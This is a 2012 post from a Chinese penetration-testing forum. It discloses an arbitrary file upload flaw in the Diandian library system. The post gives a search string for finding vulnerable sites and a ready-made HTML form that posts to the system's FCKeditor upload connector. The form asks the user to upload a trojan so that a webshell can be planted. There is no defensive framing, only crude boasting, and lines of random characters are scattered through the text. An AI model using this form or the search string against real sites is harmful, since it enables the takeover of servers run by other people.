中国网络渗透测试联盟
标题:
点点书库图书馆系统文件上传漏洞
[打印本页]
作者:
admin
时间:
2012-9-10 21:20
标题:
点点书库图书馆系统文件上传漏洞
主题:图书馆系统任意文件上传漏洞
* m' G9 y6 O( f1 t5 ~; {
作者:冰锋刺客
! L B. n9 Q. q# ?3 a6 J- n( T
厂商:点击书(dianjishu.com)
2 |* F3 d4 C7 ^% I
日期:2012-6-21
' d3 M3 h& V9 ^$ h2 J
( b% E) A: C& W( X
I 概述
! ]1 B1 S p. ~, k* w) e) b
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
$ t% g8 A1 b- C4 r. M
II 简介
+ K8 K' {5 v) v5 _* z
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
& X: i: x) x' v" Y/ U4 U- o
补充一个漏洞
- j& a9 }1 H* W Y. j2 k: c" l! j
<form id="frmUpload" enctype="multipart/form-data"
4 ^: c9 E( h/ f" X' _, ~9 _2 E0 c
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
1 r% a3 Q e' k) U! B" I$ M
<input id="btnUpload" type="submit" value="操翻他">
/ c5 u' W6 Y7 C- }+ z. {
</form>
" \+ c- }5 \3 F- Z
你们懂的
( X. C6 O _' P& `
那傻逼提供还需要改包.
+ o. } T& G5 C: y! e4 i: s
自己看了下源代码发现fckeditor
) P3 q4 J& C: ?* h5 b- L L$ q
直接秒杀
* O& K: \/ R0 P' O. o9 k0 Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2